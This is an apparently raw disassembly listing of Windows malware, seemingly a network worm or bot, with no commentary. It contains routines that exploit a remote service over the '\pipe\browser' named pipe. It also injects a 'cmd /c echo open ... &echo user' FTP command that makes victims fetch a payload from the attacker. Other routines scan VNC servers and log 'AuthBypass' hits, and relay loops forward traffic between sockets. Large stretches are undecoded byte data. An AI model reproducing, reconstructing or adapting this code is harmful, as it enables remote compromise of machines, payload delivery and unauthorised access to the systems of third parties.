56h ; V db 50h ; P db 0E8h ; è db 0A6h ; ¦ db 0DFh ; ß db 0 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 0A7h ; § db 0DBh ; Û db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 28h ; ( db 0D1h ; Ñ db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 44h ; D db 8Dh ; db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 26F0953h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_43221C push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432208 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] call near ptr 26E0000h nop test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] nop call near ptr 26518CEh jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] call near ptr 26F0000h nop push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4321B0[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CDC9C jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_4321FF+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_4321A4[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4321AC[esi] push 7 add eax, edi push offset dword_432198 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432038 push eax call sub_41C310 mov eax, dword_4321A8[esi] add esp, 30h cmp byte_4321B0[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CDC94 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_4321C8 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_4321C8 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] nop call near ptr 26518CEh push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 26E0870h mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 26F0000h test eax, eax jnz short loc_40DE4F call near ptr 26709C5h nop cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 26801A2h cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 0D6h ; Ö db 0D6h ; Ö db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 90h ; db 0E8h ; è db 2Bh ; + db 34h ; 4 db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; è db 6Ah ; j db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 90h ; db 0E8h ; è db 37h ; 7 db 5Dh ; ] db 6Ah ; j db 71h ; q db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 5Eh ; ^ db 5Fh ; _ db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 8 db 91h ; ‘ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0B0h ; ° db 0ACh ; ¬ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0DFh ; ß db 0CCh ; Ì db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 50h ; P db 22h ; " db 43h ; C db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 38h ; 8 db 0DAh ; Ú db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 87h ; ‡ db 0D0h ; Ð db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 8Bh ; ‹ db 3Bh ; ; db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 90h ; db 0E8h ; è db 0E7h ; ç db 3Ah ; : db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; Ã dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 90000007h, 26202BE8h, 0FB834302h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call near ptr 71AB12F8h nop push [ebp+arg_BC] mov [ebp+var_C], eax call near ptr 71AB1746h nop push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CACB0 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call near ptr 71AB1A6Dh nop push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_43140Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CAFB4 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_4322C4 push esi call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j nop call near ptr 71AB1A6Dh loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj call near ptr 71AB1A6Dh nop push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CAF8C test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433508 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CAFB4 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CAF74 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB00C jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CAE2C push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431410[eax] push ebx lea eax, dword_431410[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx nop call near ptr 71AB1A6Dh loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CDCB4 call dword_4CAF8C test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CDCB0 nop call near ptr 26E0000h jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CDCA4 call near ptr 26F0000h nop cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CDCB4 call dword_4CAFC4 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B00815FFh, 0B4A3004Ch, 8D004CDCh dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 2F1FFEE8h, 0FF509002h, 4CDCA835h, 0F0E89000h, 50022F1Fh dd 2F19E7E8h, 458D9002h, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 43350Ch, 0B3E89057h, 8D022435h dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h, 261A41E8h dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 1A28E890h, 0FF6A0226h, 0FFF04589h, 0E890D875h, 2271B26h dd 0F075FF57h, 22F3E890h, 0FF570227h, 0E890EC75h, 22722E9h dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22E24ADh dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CDCBC, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CAFF4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 2C186BE8h dd 858B9002h, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CAF08h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 2C17EBE8h, 0FE689002h, 530000FFh, 9E63E8h, 0BCA35900h dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h dd 75C63B00h, 815FF54h, 33004CAFh, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 0E8565959h, 22C1770h, 57056A90h, 0AF9C15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2C166FE8h db 2 byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao 